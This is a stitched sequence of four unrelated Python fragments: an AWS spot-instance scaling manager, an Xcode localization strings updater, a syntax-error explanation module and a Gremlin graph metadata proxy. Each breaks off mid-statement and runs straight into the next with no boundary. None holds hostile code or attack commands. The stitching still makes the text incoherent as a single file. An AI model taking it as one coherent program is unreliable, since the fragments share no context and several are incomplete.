self.spot_replace[instance.id] if cancel_spots: msg = 'Aborting spot replacement. %s spots were too expensive. first spot was %s. max price %s' % \ (len(cancel_spots), pricingmgr.get_cost(cancel_spots[0], self), self.spot_replace_price_threshold * self.on_demand_cost) self.log_email('Cancelling spot replacement', msg=msg, force=True, logfunc=self.logger.warning) self.cancel_spot_requests(cancel_spots) # Warning: timing functions are AWS dependent! def can_terminate(self, instance): """Return if it makes sense to start terminating a wound down instance""" effective_uptime = self.server_control.get_instance_uptime_since_charge(instance) floor = self.server_control.uptime_mod_factor / 4 # arbitrary floor; 15 minutes by default return floor < effective_uptime < self.max_teardown_time def can_initiate_spot_replacement(self, instance): """Can we start spot replacement process?""" if self.server_control.is_spot(instance): # only replace normal instances return False effective_uptime = self.server_control.get_instance_uptime_since_charge(instance) mgr = self.rev_instance_management.get(instance.id) # calculate when winddown will start by: ear_wind = mgr.winddown_min if mgr else self.max_teardown_time return ear_wind - self.spot_replace_time_earliest < effective_uptime < \ ear_wind - self.spot_replace_time_latest def can_fulfill_spot_replacement(self, instance): """Can we continue letting spot boot up to replace? Spot should be cancelled if this returns False""" if self.server_control.is_spot(instance): # only replace normal instances return False effective_uptime = self.server_control.get_instance_uptime_since_charge(instance) mgr = self.rev_instance_management.get(instance.id) ear_wind = mgr.winddown_min if mgr else self.max_teardown_time # when winddown needs to start by return ear_wind - self.spot_replace_time_earliest < effective_uptime < \ self.max_spot_replace_launch_time instance_logging_period = 45 # number of seconds between successive instance log dumping # timestamp of last instance log (randomized so different pools log at different times) last_instance_log = time.time() - instance_logging_period * random.random() def handle_instance_logging(self, instances): safe_query = True # enable for debugging if time.time() - self.last_instance_log < self.instance_logging_period: return self.last_instance_log = time.time() now = dtime.utcnow() for instance in instances: launch_time = dtime.strptime(instance.launch_time, '%Y-%m-%dT%H:%M:%S.000Z') is_spot = self.server_control.is_spot(instance) instance_dct = {'pool_name': self.myname, # e.g. simple 'az': instance.placement, 'launch_time': launch_time, 'last_check': now, 'is_spot': is_spot, 'hostname': instance.public_dns_name, 'termination_time': None, } if is_spot and hasattr(instance, 'spot_request'): instance_dct['spot_launch'] = dtime.strptime(instance.spot_request.create_time, '%Y-%m-%dT%H:%M:%S.000Z') # mark all terminated that are not already marked terminated seen_ids = [instance.id for instance in instances] criteria = {'_id': {'$nin': seen_ids}, 'termination_time': None, 'pool_name': self.myname} self.logger.debug('handle_instance_logging took %s s', time.time() - self.last_instance_log) def clear_expired_overrides(self): now = time.time() for ov_dict in [self.instance_override, self.spotreq_override]: for iid, (obj, expire, force_state) in ov_dict.items(): if now > expire: del ov_dict[iid] def set_override(self, obj, is_spot, expire_time=60, force_state=False): ov_dict = self.spotreq_override if is_spot else self.instance_override ov_dict[obj.id] = (obj, expire_time + time.time(), force_state) def handle_overrides(self, obj_list, is_spot): """Returns a new list correctly overridden by relevant override dictionary""" ov_dict = self.spotreq_override if is_spot else self.instance_override aws_iids = set((obj.id for obj in obj_list)) for obj in obj_list: if obj.id in ov_dict: repl_obj, expire, force_state = ov_dict[obj.id] if force_state and obj.state != repl_obj.state: self.logger.debug('handle_overrides: Override %s state from %s to %s', obj, obj.state, repl_obj.state) obj.state = repl_obj.state for iid, (repl_obj, expire, force_state) in ov_dict.items(): if iid not in aws_iids: self.logger.debug('handle_overrides: obj %s not returned by aws. Injecting', repl_obj) obj_list.append(repl_obj) def execute(self, instances, spot_requests, **kwds): """Scale based on information provided by scaling managers""" self.clear_expired_overrides() self.handle_overrides(instances, False) self.handle_overrides(spot_requests, True) pricingmgr = self.scaling_task.pricing_manager instance_management = defaultdict(list) # dict mapping manager to instances rev_instance_management = {} # map instance ids to manager # clean out instances that are being torn down instances = [inst for inst in instances if inst.id not in self.termination_threads] # and all termianted instances = [inst for inst in instances if inst.state in ['running', 'pending']] self.handle_instance_logging(instances) running_instances = [inst for inst
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' Update or create an Apple XCode project localization strings file. TODO: handle localization domains ''' from __future__ import with_statement import sys import os import os.path import re import tempfile import subprocess import codecs import unittest import optparse import shutil import logging ENCODINGS = ['utf16', 'utf8'] class LocalizedString(object): ''' A localized string from a strings file ''' COMMENT_EXPR = re.compile( # Line start '^\w*' # Comment '/\* (?P<comment>.+) \*/' # End of line '\w*$' ) LOCALIZED_STRING_EXPR = re.compile( # Line start '^' # Key '"(?P<key>.+)"' # Equals ' ?= ?' # Value '"(?P<value>.+)"' # Whitespace ';' # Comment '(?: /\* (?P<comment>.+) \*/)?' # End of line '$' ) @classmethod def parse_comment(cls, comment): ''' Extract the content of a comment line from a strings file. Returns the comment string or None if the line doesn't match. ''' result = cls.COMMENT_EXPR.match(comment) if result != None: return result.group('comment') else: return None @classmethod def from_line(cls, line): ''' Extract the content of a string line from a strings file. Returns a LocalizedString instance or None if the line doesn't match. TODO: handle whitespace restore ''' result = cls.LOCALIZED_STRING_EXPR.match(line) if result != None: return cls( result.group('key'), result.group('value'), result.group('comment') ) else: return None def __init__(self, key, value=None, comment=None): super(LocalizedString, self).__init__() self.key = key self.value = value self.comment = comment def is_raw(self): ''' Return True if the localized string has not been translated. ''' return self.value == self.key def __str__(self): if self.comment: return '"%s" = "%s"; /* %s */' % ( self.key or '', self.value or '', self.comment ) else: return '"%s" = "%s";' % (self.key or '', self.value or '') def strings_from_folder(folder_path, extensions=None, exclude=None): ''' Recursively scan folder_path for files containing localizable strings. Run genstrings on these files and extract the strings. Returns a dictionnary of LocalizedString instances, indexed by key. ''' localized_strings = {} code_file_paths = [] if extensions == None: extensions = frozenset(['m', 'mm']) if exclude == None: exclude = frozenset(['ImportedSources','Pods']) logging.debug('Scanning for source files in %s', folder_path) for dir_path, dir_names, file_names in os.walk(folder_path): dir_names[:] = [d for d in dir_names if d not in exclude] for file_name in file_names: extension = file_name.rpartition('.')[2] if extension in extensions: code_file_path = os.path.join(dir_path, file_name) code_file_paths.append(code_file_path) logging.debug('Found %d files', len(code_file_paths)) logging.debug('Running genstrings') temp_folder_path = tempfile.mkdtemp() arguments = ['genstrings', '-u', '-o', temp_folder_path] arguments.extend(code_file_paths) logging.debug('Here are the argumengts %s', arguments) subprocess.call(arguments) temp_file_path = os.path.join(temp_folder_path, 'Localizable.strings') if os.path.exists(temp_file_path): logging.debug('Analysing genstrings content') localized_strings = strings_from_file(temp_file_path) os.remove(temp_file_path) else: logging.debug('No translations found') shutil.rmtree(temp_folder_path) return localized_strings def strings_from_file(file_path): ''' Try to autodetect file encoding and call strings_from_encoded_file on the file at file_path. Returns a dictionnary of LocalizedString instances, indexed by key. Returns an empty dictionnary if the encoding is wrong. ''' for current_encoding in ENCODINGS: try: return strings_from_encoded_file(file_path, current_encoding) except UnicodeError: pass logging.error( 'Cannot determine encoding for file %s among %s', file_path, ', '.join(ENCODINGS) ) return {} def strings_from_encoded_file(file_path, encoding): ''' Extract the strings from the file at file_path. Returns a dictionnary of LocalizedString instances, indexed by key. ''' localized_strings = {} with codecs.open(file_path, 'r', encoding) as content: comment = None for line in content: line = line.strip() if not line: comment = None continue current_comment = LocalizedString.parse_comment(line) if current_comment: if current_comment != 'No comment provided by engineer.': comment = current_comment continue localized_string = LocalizedString.from_line(line) if localized_string: if not localized_string.comment: localized_string.comment = comment localized_strings[localized_string.key] = localized_string else: logging.error('Could not parse: %s', line.strip()) return localized_strings def strings_to_file(localized_strings, file_path, encoding='utf16'): ''' Write a strings file at file_path containing string in the localized_strings dictionnary. The strings are alphabetically sorted. ''' with codecs.open(file_path, 'w', encoding) as output: for localized_string in sorted_strings_from_dict(localized_strings): output.write('%s\n' % localized_string) def update_file_with_strings(file_path, localized_strings): ''' Try to autodetect file encoding and call update_encoded_file_with_strings on the file at file_path. The file at file_path must exist or this function will raise an exception. ''' for current_encoding in ENCODINGS: try: return update_encoded_file_with_strings( file_path, localized_strings, current_encoding ) except UnicodeError: pass logging.error( 'Cannot determine encoding for file %s among %s', file_path, ', '.join(ENCODINGS) ) return {} def update_encoded_file_with_strings( file_path, localized_strings, encoding='utf16' ): ''' Update file at file_path with translations from localized_strings, trying to preserve the initial formatting by only removing the old translations, updating the current ones and adding the new translations at the end of the file. The file at file_path must exist or this function will raise an exception. ''' output_strings = [] keys = set() with codecs.open(file_path, 'r', encoding) as content: for line in content: current_string = LocalizedString.from_line(line.strip()) if current_string: key = current_string.key localized_string = localized_strings.get(key, None) if localized_string: keys.add(key) output_strings.append(unicode(localized_string)) else: output_strings.append(line[:-1]) new_strings = [] for value in localized_strings.itervalues(): if value.key not in keys: new_strings.append(unicode(value)) if len(new_strings) != 0: output_strings.append('') output_strings.append('/* New strings */') new_strings.sort() output_strings.extend(new_strings) with codecs.open(file_path, 'w', encoding) as output: output.write('\n'.join(output_strings)) # Always add a new line at the end of the file output.write('\n') def match_strings(scanned_strings, reference_strings): ''' Complete scanned_strings with translations from reference_strings. Return the completed scanned_strings dictionnary. scanned_strings is not affected. Strings in reference_strings and not in scanned_strings are not copied. ''' final_strings = {} for key, value in scanned_strings.iteritems(): reference_value = reference_strings.get(key, None) if reference_value: if reference_value.is_raw(): # Mark non-translated strings logging.debug('[raw] %s', key) final_strings[key] = value else: # Reference comment comes from the code reference_value.comment = value.comment final_strings[key] = reference_value else: logging.debug('[new] %s', key) final_strings[key] = value final_keys = set(final_strings.keys()) for key in reference_strings.iterkeys(): if key not in final_keys: logging.debug('[deleted] %s', key) return final_strings def merge_dictionaries(reference_dict, import_dict): ''' Return a dictionnary containing key/values from reference_dict and import_dict. In case of conflict, the value from reference_dict is chosen. ''' final_dict = reference_dict.copy() reference_dict_keys = set(reference_dict.keys()) for key, value in import_dict.iteritems(): if key not in reference_dict_keys: final_dict[key] = value return final_dict def sorted_strings_from_dict(strings): ''' Return an array containing the string objects sorted alphabetically. ''' keys = strings.keys() keys.sort() values = [] for key in keys: values.append(strings[key]) return values class Tests(unittest.TestCase): ''' Unit Tests ''' def test_comment(self): ''' Test comment pattern ''' result = LocalizedString.COMMENT_EXPR.match('/* Testing Comments */') self.assertNotEqual(result, None, 'Pattern not recognized') self.assertEqual(result.group('comment'), 'Testing Comments', 'Incorrect pattern content: [%s]' % result.group('comment') ) def test_localized_string(self): ''' Test localized string pattern ''' result = LocalizedString.LOCALIZED_STRING_EXPR.match( '"KEY" = "VALUE";' ) self.assertNotEqual(result, None, 'Pattern not recognized') self.assertEqual(result.group('key'), 'KEY', 'Incorrect comment content: [%s]' % result.group('key') ) self.assertEqual(result.group('value'), 'VALUE', 'Incorrect comment content: [%s]' % result.group('value') ) self.assertEqual(result.group('comment'), None, 'Incorrect comment content: [%s]' % result.group('comment') ) def test_localized_comment_string(self): ''' Test localized string with comment pattern ''' result = LocalizedString.LOCALIZED_STRING_EXPR.match( '"KEY" = "VALUE"; /* COMMENT */' ) self.assertNotEqual(result, None, 'Pattern not recognized') self.assertEqual(result.group('key'), 'KEY', 'Incorrect comment content: [%s]' % result.group('key') ) self.assertEqual(result.group('value'), 'VALUE', 'Incorrect comment content: [%s]' % result.group('value') ) self.assertEqual(result.group('comment'), 'COMMENT', 'Incorrect comment content: [%s]' % result.group('comment') ) def main(): ''' Parse the command line and do what it is telled to do ''' parser = optparse.OptionParser( 'usage: %prog [options] Localizable.strings [source folders]' ) parser.add_option( '-v', '--verbose', action='store_true', dest='verbose', default=False, help='Show debug messages' ) parser.add_option( '', '--dry-run', action='store_true', dest='dry_run', default=False, help='Do not write to the strings file' ) parser.add_option( '', '--import', dest='import_file', help='Import strings from FILENAME' ) parser.add_option( '', '--overwrite', action='store_true', dest='overwrite', default=False, help='Overwrite the strings file, ignores original formatting' ) parser.add_option( '', '--unittests', action='store_true', dest='unittests', default=False, help='Run unit tests (debug)' ) (options, args) = parser.parse_args() logging.basicConfig( format='%(message)s', level=options.verbose and logging.DEBUG or logging.INFO ) if options.unittests: suite = unittest.TestLoader().loadTestsFromTestCase(Tests) return unittest.TextTestRunner(verbosity=2).run(suite) if len(args) == 0: parser.error('Please specify a strings file') strings_file = args[0] input_folders = ['.'] if len(args) > 1: input_folders = args[1:] scanned_strings = {} for input_folder in input_folders: if not os.path.isdir(input_folder): logging.error('Input path is not a folder: %s', input_folder) return 1 # TODO: allow to specify file extensions to scan scanned_strings = merge_dictionaries( scanned_strings, strings_from_folder(input_folder) ) if options.import_file: logging.debug( 'Reading import file: %s', options.import_file ) reference_strings = strings_from_file(options.import_file) scanned_strings = match_strings( scanned_strings, reference_strings ) if os.path.isfile(strings_file): logging.debug( 'Reading strings file: %s', strings_file ) reference_strings = strings_from_file( strings_file ) scanned_strings = match_strings( scanned_strings, reference_strings ) if options.dry_run: logging.info( 'Dry run: the strings file has not been updated' ) else: try: if os.path.exists(strings_file) and not options.overwrite: update_file_with_strings(strings_file, scanned_strings) else: strings_to_file(scanned_strings, strings_file) except IOError, exc:
# type: ignore """This module contains functions that are used to analyze a single statement which has been identified as containing a syntax error with the message "invalid syntax". """ import keyword import sys from .. import debug_helper, token_utils, utils from ..ft_gettext import current_lang, internal_error from . import error_in_def, fixers, syntax_utils STATEMENT_ANALYZERS = [] _ = current_lang.translate def more_errors(): return "\n" + _( "However, making such a change would still not correct\n" "all the syntax errors in the code you wrote.\n" ) def _possibly_inside_dict(statement): if statement.statement_brackets: return False for bracket in reversed(statement.begin_brackets): if bracket == "{": break else: return False between_brackets = False found_colon = False for token in statement.tokens: if token == bracket: between_brackets = True if between_brackets: if token == ":": found_colon = True elif token.is_keyword(): return False if token == "}": return found_colon return False def add_statement_analyzer(func): """A simple decorator that adds a function to the list of all functions that analyze a single statement.""" STATEMENT_ANALYZERS.append(func) # The following is needed if we wish to call explicitly # one of the functions below from another file. # We sometimes do this for consistency when later version of # Python give us a specific message instead of just 'invalid syntax'. def wrapper(statement): return func(statement) return wrapper # ======================================================== # Main calling function # ======================================================== def analyze_statement(statement): """Analyzes the statement as identified by Python as that on which the error occurred.""" if not statement.tokens: # pragma: no cover debug_helper.log("Statement with no tokens in statement_analyser.py") return {"cause": internal_error("No tokens")} if statement.first_token == "def" or ( statement.first_token == "async" and statement.tokens[1] == "def" ): cause = error_in_def.analyze_def_statement(statement) if cause: return cause for analyzer in STATEMENT_ANALYZERS: cause = analyzer(statement) if cause: return cause return {} # ================== # IMPORTANT: causes are looked at in the same order as they appear below. # Changing the order could possibly yield incorrect results # ================== @add_statement_analyzer def mismatched_brackets(statement): """Detecting code that ends with an unmatched closing bracket""" if not (statement.end_bracket and statement.bad_token == statement.last_token): return {} if not statement.statement_brackets: lineno = statement.end_bracket.start_row source = f"\n {lineno}: {statement.source_lines[lineno - 1]}" shift = len(str(lineno)) + statement.end_bracket.start_col + 6 source += " " * shift + "^\n" cause = ( _( "The closing {bracket} on line {linenumber}" " does not match anything.\n" ).format( bracket=syntax_utils.name_bracket(statement.end_bracket), linenumber=statement.end_bracket.start_row, ) + source ) return {"cause": cause} open_bracket = statement.begin_brackets[-1] open_lineno = open_bracket.start_row end_bracket = statement.end_bracket end_lineno = end_bracket.start_row source = f"\n {open_lineno}: {statement.source_lines[open_lineno - 1]}" shift = len(str(open_lineno)) + open_bracket.start_col + 6 if open_lineno == end_lineno: source += " " * shift + "^" shift = end_bracket.start_col - open_bracket.start_col - 1 source += " " * shift + "^\n" else: source += " " * shift + "^\n" source += f" {end_lineno}: {statement.source_lines[end_lineno - 1]}" shift = len(str(end_lineno)) + end_bracket.start_col + 6 source += " " * shift + "^\n" cause = ( _( "The closing {bracket} on line {close_lineno} does not match " "the opening {open_bracket} on line {open_lineno}.\n" ).format( bracket=syntax_utils.name_bracket(statement.end_bracket), close_lineno=statement.end_bracket.start_row, open_bracket=syntax_utils.name_bracket(open_bracket), open_lineno=open_bracket.start_row, ) + source ) return {"cause": cause} @add_statement_analyzer def copy_pasted_code(statement): """Detecting code that starts with a Python prompt""" first_token = statement.first_token if first_token not in [">>", "..."]: return {} hint = _("Did you use copy-paste?\n") if ( first_token == ">>" and first_token == statement.bad_token and statement.next_token == ">" ): cause = _( "It looks like you copy-pasted code from an interactive interpreter.\n" "The Python prompt, `>>>`, should not be included in your code.\n" ) return {"cause": cause, "suggest": hint} elif first_token == "...": if statement.highlighted_tokens is not None: # Python 3.10 is_ellipsis = statement.bad_token else: is_ellipsis = statement.prev_token if is_ellipsis == first_token: cause = _( "It looks like you copy-pasted code from an interactive interpreter.\n" "The Python prompt, `...`, should not be included in your code.\n" ) return {"cause": cause, "suggest": hint} return {} # pragma: no cover @add_statement_analyzer def detect_backquote(statement): """Detecting if the error is due to using `x` which was allowed in Python 2. """ if statement.bad_token == "`": hint = _("You should not use the backquote character.\n") cause = _( "You are using the backquote character.\n" "Either you meant to write a single quote, ', " "or copied Python 2 code;\n" "in this latter case, use the function `repr(x)`." ) return {"cause": cause, "suggest": hint} return {} @add_statement_analyzer def wrong_code_block(statement): if not ( statement.bad_token == ":" and statement.nb_tokens == 2 and statement.prev_token.string in ("if", "for", "while", "class") ): return {} word = statement.prev_token.string if word in ("if", "while"): hint = _("You forgot to add a condition.\n") if word == "if": cause = _( "An `if` statement requires a condition:\n\n" " if condition:\n" " ...\n\n" ) else: cause = _( "A `while` loop requires a condition:\n\n" " while condition:\n" " ...\n\n" ) elif word == "for": hint = _("A `for` loop requires at least 3 more terms.\n") cause = _( "A `for` loop is an iteration over a sequence:\n\n" " for element in sequence:\n" " ...\n\n" ) else: hint = _("A class needs a name.\n") cause = _( "A `class` statement requires a name:\n\n" " class SomeName:\n" " ...\n\n" ) return {"cause": cause, "suggest": hint} @add_statement_analyzer def keyword_as_attribute(statement): """Will identify something like obj.True ...""" if statement.prev_token != ".": return {} word = statement.bad_token if word.is_keyword(): cause = _( "You cannot use the Python keyword `{word}` as an attribute.\n\n" ).format(word=word) else: return {} hint = _("`{word}` cannot be used as an attribute.\n").format(word=word) return {"cause": cause, "suggest": hint} @add_statement_analyzer def confused_elif(statement): name = None # skipcq: PYL-R1714 if statement.bad_token == "elseif" or statement.prev_token == "elseif": name = "elseif" elif statement.bad_token == "if" and statement.prev_token == "else": name = "else if" if name: hint = _("Perhaps you meant to write `elif`.\n") cause = _( "You likely meant to use Python's `elif` keyword\n" "but wrote `{name}` instead.\n" "\n" ).format(name=name) return {"cause": cause, "suggest": hint} return {} @add_statement_analyzer def import_from(statement): if statement.bad_token != "from" or statement.tokens[0] != "import": return {} function = statement.prev_token module = statement.next_token hint = _("Did you mean `from {module} import {function}`?\n").format( module=module, function=function ) cause = _( "You wrote something like\n\n" " import {function} from {module}\n" "instead of\n\n" " from {module} import {function}\n\n" "\n" ).format(module=module, function=function) return {"cause": cause, "suggest": hint} @add_statement_analyzer def misplaced_quote(statement): """This looks for a misplaced quote, something like info = 'don't ... The clue we are looking for is a STRING token ('don') followed by something else than a string. """ if not statement.prev_token.is_string(): return {} bad_token = statement.bad_token if bad_token.is_identifier(): hint = _("Perhaps you misplaced a quote.\n") cause = _( "There appears to be a Python identifier (variable name)\n" "immediately following a string.\n" "I suspect that you were trying to use a quote inside a string\n" "that was enclosed in quotes of the same kind.\n" ) return {"cause": cause, "suggest": hint} return {} @add_statement_analyzer def detect_walrus(statement): """Detecting if code uses named assignment operator := with an older version of Python. """ if sys.version_info >= (3, 8): return {} # Normally, the token identified as the bad token should be # '='; however, in some test cases where a named assignment # is not allowed, it is ':' that is identified as the # bad token. bad = statement.bad_token prev = statement.prev_token next_token = statement.next_token if (prev == ":" and bad == "=" and bad.immediately_after(prev)) or ( bad == ":" and next_token == "=" and bad.immediately_before(next_token) ): hint = _( "The augmented assignment operator is not allowed in Python version {version}.\n" ).format(version=f"{sys.version_info.major}.{sys.version_info.minor}") cause = _( "You appear to be using the operator `:=`, sometimes called\n" "the walrus operator. This operator requires the use of\n" "Python 3.8 or newer. You are using version {version}.\n" ).format(version=f"{sys.version_info.major}.{sys.version_info.minor}") return {"cause": cause, "suggest": hint} return {} @add_statement_analyzer def inverted_operators(statement): """Detect if operators might have been inverted""" is_op = token_utils.is_operator if not is_op(statement.bad_token): return {} prev = statement.prev_token bad = statement.bad_token next_ = statement.next_token if is_op(prev) and is_op(bad.string + prev.string) and prev.immediately_before(bad): first = prev second = bad elif ( is_op(next_) and is_op(next_.string + bad.string) and bad.immediately_before(next_) ): # pragma: no cover # I cannot think of a
the exception for the given method_name """ return False def _submit(self, *, command: str, bindings: Any = None) -> Any: """ Do not use this. ...except if you are doing graph management or other things not supported by Gremlin. For example, with JanusGraph, you might: >>> self._submit(''' graph.tx().rollback() mgmt = graph.openManagement() keyProperty = mgmt.getPropertyKey('_key') vertexLabel = mgmt.getVertexLabel('Table') mgmt.buildIndex('TableByKeyUnique', Vertex.class).addKey(keyProperty).indexOnly(vertexLabel).unique().buildCompositeIndex() mgmt.commit() ''') >>> self._submit(''' graph.openManagement().getGraphIndex('TableByKey') ''') >>> self._submit(''' graph.openManagement().getGraphIndexes(Vertex.class) ''') >>> self._submit(''' graph.openManagement().getGraphIndexes(Edge.class) ''') """ # noqa: E501 # we use the client from the DriverRemoteConnection, which is sneaky. We could probably pull out parameters # from the DriverRemoteConnection and construct a Client directly, but that feels even sneakier and more # fragile. return self.remote_connection._client.submit(message=command, bindings=bindings).all().result() def is_healthy(self) -> None: # throws if cluster unhealthy or can't connect. Neptune proxy overrides and uses status endpoint self.query_executor()(query=self.g.V().limit(0).fold, get=FromResultSet.iterate) def get_relationship(self, *, node_type1: str, node_key1: str, node_type2: str, node_key2: str) -> List[Any]: """ This method is largely meant for testing. It returns any relationships between two nodes See AbstractProxyTest """ g = self.g g = _V(g=g, label=node_type1, key=node_key1).as_('v') g = _V(g=g, label=node_type2, key=node_key2) g = g.bothE() # as creates an alias, BUT ALSO in filter, where, or some other predicate filters the traversal with the # previously aliased value (which is what it does here) g = g.where(__.otherV().as_('v')) g = g.valueMap() return self.query_executor()(query=g, get=FromResultSet.toList) @timer_with_counter @overrides def get_user(self, *, id: str) -> Union[User, None]: g = _V(g=self.g, label=VertexTypes.User, key=id).as_('user') g = g.coalesce(outE(EdgeTypes.ManagedBy.value.label).inV(). hasLabel(VertexTypes.User.value.label).fold()).as_('managers') g = g.select('user', 'managers').by(valueMap()).by(unfold().valueMap().fold()) results = self.query_executor()(query=g, get=FromResultSet.toList) result = _safe_get(results) if not result: return result user = self._convert_to_user(result['user']) managers = _safe_get_list(result, 'managers') user.manager_fullname = _safe_get(managers[0], 'full_name', default=None) if managers else None return user def _get_user(self, *, id: str, executor: ExecuteQuery) -> Union[User, None]: g = _V(g=self.g, label=VertexTypes.User, key=id).as_('user') g = g.coalesce(outE(EdgeTypes.ManagedBy.value.label).inV(). hasLabel(VertexTypes.User.value.label).fold()).as_('managers') g = g.select('user', 'managers').by(valueMap()).by(unfold().valueMap().fold()) results = executor(query=g, get=FromResultSet.toList) result = _safe_get(results) if not result: return result user = self._convert_to_user(result['user']) managers = _safe_get_list(result, 'managers') user.manager_fullname = _safe_get(managers[0], 'full_name', default=None) if managers else None return user @timer_with_counter @overrides def get_users(self) -> List[User]: g = _V(g=self.g, label=VertexTypes.User, key=None).not_(has('is_active', False)).as_('user'). \ coalesce(outE(EdgeTypes.ManagedBy.value.label).inV(). hasLabel(VertexTypes.User.value.label).fold()).as_('managers'). \ select('user', 'managers').by(valueMap()).by(unfold().valueMap().fold()) results = self.query_executor()(query=g, get=FromResultSet.toList) users = [] for result in results: user = self._convert_to_user(result['user']) managers = _safe_get_list(result, 'managers') user.manager_fullname = _safe_get(managers[0], 'full_name', default=None) if managers else None users.append(user) return users @timer_with_counter @overrides def get_table(self, *, table_uri: str, is_reviewer: bool = False) -> Table: """ :param table_uri: Table URI :return: A Table object """ result = self._get_table_itself(table_uri=table_uri) if not result: raise NotFoundException(f'Table URI( {table_uri} ) does not exist') cols = self._get_table_columns(table_uri=table_uri) readers = self._get_table_readers(table_uri=table_uri) users_by_type: Dict[str, List[User]] = {} users_by_type['owner'] = _safe_get_list(result, f'all_owners', transform=self._convert_to_user) or [] stats = _safe_get_list(result, 'stats', transform=self._convert_to_statistics) or [] # add in the last 5 days (but only if present according to test) def transform(x: int) -> Optional[Stat]: return None if x == 0 else Stat(stat_type='num_reads_last_5_days', stat_val=str(x)) num_reads_last_5_days = _safe_get(result, 'num_reads_last_5_days', transform=transform) if num_reads_last_5_days: stats.append(num_reads_last_5_days) table = Table(database=_safe_get(result, 'database', 'name'), cluster=_safe_get(result, 'cluster', 'name'), schema=_safe_get(result, 'schema', 'name'), name=_safe_get(result, 'table', 'name'), key=_safe_get(result, 'table', self.key_property_name), is_view=_safe_get(result, 'table', 'is_view'), tags=_safe_get_list(result, 'tags', transform=self._convert_to_tag) or [], description=_safe_get(result, 'description', 'description'), programmatic_descriptions=_safe_get_list( result, 'programmatic_descriptions', transform=self._convert_to_description) or [], columns=cols, table_readers=readers, watermarks=_safe_get_list(result, 'watermarks', transform=self._convert_to_watermark) or [], table_writer=_safe_get(result, 'application', transform=self._convert_to_application), last_updated_timestamp=_safe_get(result, 'timestamp', transform=int), source=_safe_get(result, 'source', transform=self._convert_to_source), owners=users_by_type['owner']) return table def _get_table_itself(self, *, table_uri: str) -> Mapping[str, Any]: g = _V(g=self.g, label=VertexTypes.Table, key=table_uri).as_('table') g = g.coalesce(inE(EdgeTypes.Table.value.label).outV(). hasLabel(VertexTypes.Schema.value.label).fold()).as_('schema') g = g.coalesce(unfold().inE(EdgeTypes.Schema.value.label).outV(). hasLabel(VertexTypes.Cluster.value.label).fold()).as_('cluster') g = g.coalesce(unfold().inE(EdgeTypes.Cluster.value.label).outV(). hasLabel(VertexTypes.Database.value.label).fold()).as_('database') g = g.coalesce(select('table').inE(EdgeTypes.BelongToTable.value.label).outV(). hasLabel(VertexTypes.Watermark.value.label).fold()).as_('watermarks') g = g.coalesce(select('table').inE(EdgeTypes.Generates.value.label).outV(). hasLabel(VertexTypes.Application.value.label).fold()).as_('application') g = g.coalesce(select('table').outE(EdgeTypes.LastUpdatedAt.value.label).inV(). hasLabel(VertexTypes.Updatedtimestamp.value.label). values('timestamp').fold()).as_('timestamp') g = g.coalesce(select('table').inE(EdgeTypes.Tag.value.label).outV(). hasLabel(VertexTypes.Tag.value.label).fold()).as_('tags') g = g.coalesce(select('table').outE(EdgeTypes.Source.value.label).inV(). hasLabel(VertexTypes.Source.value.label).fold()).as_('source') g = g.coalesce(select('table').outE(EdgeTypes.Stat.value.label).inV(). hasLabel(VertexTypes.Stat.value.label).fold()).as_('stats') g = g.coalesce(select('table').outE(EdgeTypes.Description.value.label). inV().hasLabel(VertexTypes.Description.value.label).fold()).as_('description') g = g.coalesce( select('table').out(EdgeTypes.Description.value.label).hasLabel('Programmatic_Description').fold() ).as_('programmatic_descriptions') g = g.coalesce(select('table').inE(EdgeTypes.Read.value.label). has('date', gte(date.today() - timedelta(days=5))). where(outV().hasLabel(VertexTypes.User.value.label)). # TODO: is this wrong? (the test expects count instead of sum it seems) values('read_count').sum().fold()).as_('num_reads_last_5_days') for user_label, edge_type in dict(owner=EdgeTypes.Owner, admin=EdgeTypes.Admin, rw=EdgeTypes.ReadWrite, ro=EdgeTypes.ReadOnly).items(): g = g.coalesce(select('table').outE(edge_type.value.label).inV(). hasLabel(VertexTypes.User.value.label).fold()).as_(f'all_{user_label}s') g = g.select('table', 'schema', 'cluster', 'database', 'watermarks', 'application', 'timestamp', 'tags', 'source', 'stats', 'description', 'programmatic_descriptions', 'all_owners', 'num_reads_last_5_days'). \ by(valueMap()). \ by(unfold().dedup().valueMap().fold()). \ by(unfold().dedup().valueMap().fold()). \ by(unfold().dedup().valueMap().fold()). \ by(unfold().dedup().valueMap().fold()). \ by(unfold().dedup().valueMap().fold()). \ by(). \ by(unfold().dedup().valueMap().fold()). \ by(unfold().dedup().valueMap().fold()). \ by(unfold().dedup().valueMap().fold()). \ by(unfold().dedup().valueMap().fold()). \ by(unfold().dedup().valueMap().fold()). \ by(unfold().dedup().valueMap().fold()). \ by() results = self.query_executor()(query=g, get=FromResultSet.toList) return _safe_get(results) def _get_table_columns(self, *, table_uri: str) -> List[Column]: g = _V(g=self.g, label=VertexTypes.Table.value.label, key=table_uri). \ outE(EdgeTypes.Column.value.label). \ inV().hasLabel(VertexTypes.Column.value.label).as_('column') g = g.coalesce( select('column').out(EdgeTypes.Description.value.label).hasLabel(VertexTypes.Description.value.label).fold() ).as_('description') g = g.coalesce(select('column').outE(EdgeTypes.Stat.value.label).inV(). hasLabel(VertexTypes.Stat.value.label).fold()).as_('stats') g = g.select('column', 'description', 'stats'). \ by(valueMap()). \ by(unfold().valueMap().fold()). \ by(unfold().valueMap().fold()) results = self.query_executor()(query=g, get=FromResultSet.toList) cols = [] for result in results: col = Column(name=_safe_get(result, 'column', 'name'), key=_safe_get(result, 'column', self.key_property_name), description=_safe_get(result, 'description', 'description'), col_type=_safe_get(result, 'column', 'col_type'), sort_order=_safe_get(result, 'column', 'sort_order', transform=int), stats=_safe_get_list(result, 'stats', transform=self._convert_to_statistics) or []) cols.append(col) cols = sorted(cols, key=attrgetter('sort_order')) return cols def _get_table_readers(self, *, table_uri: str) -> List[Reader]: g = _edges_to(g=self.g, vertex1_label=VertexTypes.Table, vertex1_key=table_uri, vertex2_label=VertexTypes.User, vertex2_key=None, edge_label=EdgeTypes.Read, date=gte(date.today() - timedelta(days=5))) g = g.order().by(coalesce(__.values('read_count'), constant(0)), Order.decr).limit(5) g = g.project('user', 'read', 'table') g = g.by(outV().project('id', 'email').by(values('user_id')).by(values('email'))) g = g.by(coalesce(values('read_count'), constant(0))) g = g.by(inV().values('name')) results = self.query_executor()(query=g, get=FromResultSet.toList) readers = [] for result in results: # no need for _safe_get in here because the query readers.append(Reader( user=User(user_id=result['user']['id'], email=result['user']['email']), read_count=int(result['read']))) return readers @timer_with_counter @overrides def delete_owner(self, *, 